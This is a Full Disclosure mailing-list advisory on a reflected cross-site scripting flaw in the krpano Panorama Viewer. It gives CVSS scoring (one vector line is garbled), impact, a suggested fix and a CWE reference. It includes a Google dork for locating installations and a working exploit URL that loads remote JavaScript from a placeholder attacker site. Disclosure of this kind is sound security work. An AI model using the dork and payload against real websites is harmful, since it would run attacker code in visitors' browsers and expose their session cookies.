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Date: Mon, 5 Oct 2020 18:43:50 -0300
From: Adriano Marcio Monteiro <adriano@...tec.com>
To: fulldisclosure@...lists.org
Subject: [FD] XSS in krpano Panorama Viewer

# Exploit Title: XSS in krpano Panorama Viewer
# Google Dork: inurl:krpano.html
# Date: 10/05/2020
# Exploit Author: Adriano Marcio Monteiro (@adrianomarcmont)
# Exploit Author Site: https://www.brztec.com
# Exploit Author E-mail: adriano@...tec.com
# Exploit Author Packetstorm Bio:
https://packetstormsecurity.com/files/author/11063/
# Vendor Homepage: https://krpano.com/
# Software Link: https://krpano.com/download/
# Version: <=1.20.8
# Tested on: All
# CVE : Requested
# CVSS Severity: Medium
# CVSS Score: 6.1
# CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
# CVSS Link:
https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

# Disclosure Policy: 90-day deadline has expired and no response from the
vendor.

*XSS in **krpano Panorama Viewer *
CVSS Severity: *Medium*
CVSS Score: *6.1*
CVSS Vector:
CVSS:3.0/AV:N/AC:L/PRCVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N:N/UI:R/S:C/C:L/I:L/A:N
<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N>

*Description*
krpano Panorama Viewer <=1.20.8 is vulnerable to a Reflected Cross-Site
Scripting (XSS) vulnerability caused by improper validation of user
supplied input when loading remote js and XML files in the default
installation (krpano.html).

*Impact*
A remote attacker could exploit this vulnerability using a specially
crafted URL to execute a script in a victim's Web browser within the
security context of the hosting Web site, once the URL is clicked or
visited. An attacker could use this vulnerability to steal the victim's
cookie-based authentication credentials, force malware execution, user
redirection and others.

*Steps to Reproduce*
Exploit example, from documentation tutorials:
http://VICTIM_SITE/krpano.html?html5=only&preview.type=grid()&plugin[test].url=https://ATTACKER_SITE/labs/krpano/krpano.js&plugin[test].align=center&plugin[test].onclick=dosomething(hello,plugin)&onstart=showlog();

*Fix*
Block remote load of js and XML files. Contact the vendor.

*References*
CWE-79: Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting')
https://cwe.mitre.org/data/definitions/79.html


Best Regards./Atenciosamente.

*Adriano Márcio Monteiro*
Offensive Security Specialist
adriano@...tec.com
+55 31 99255-3329 <+55+31+99255-3329>


https://www.brztec.com  <https://www.brztec.com/>
*Saiba das suas fraquezas antes do hackers.*
*Know your weaknesses before hackers.*
Pentests, Social Engineering, Training and Recruitment.
*BRASIL *contato@...tec.com  +55 31 4042-7029 <+55+31+4042-7029>
*U.S.A.    *contact@...tec.com  +1 480 404-7029 <+1+480+404-7029>

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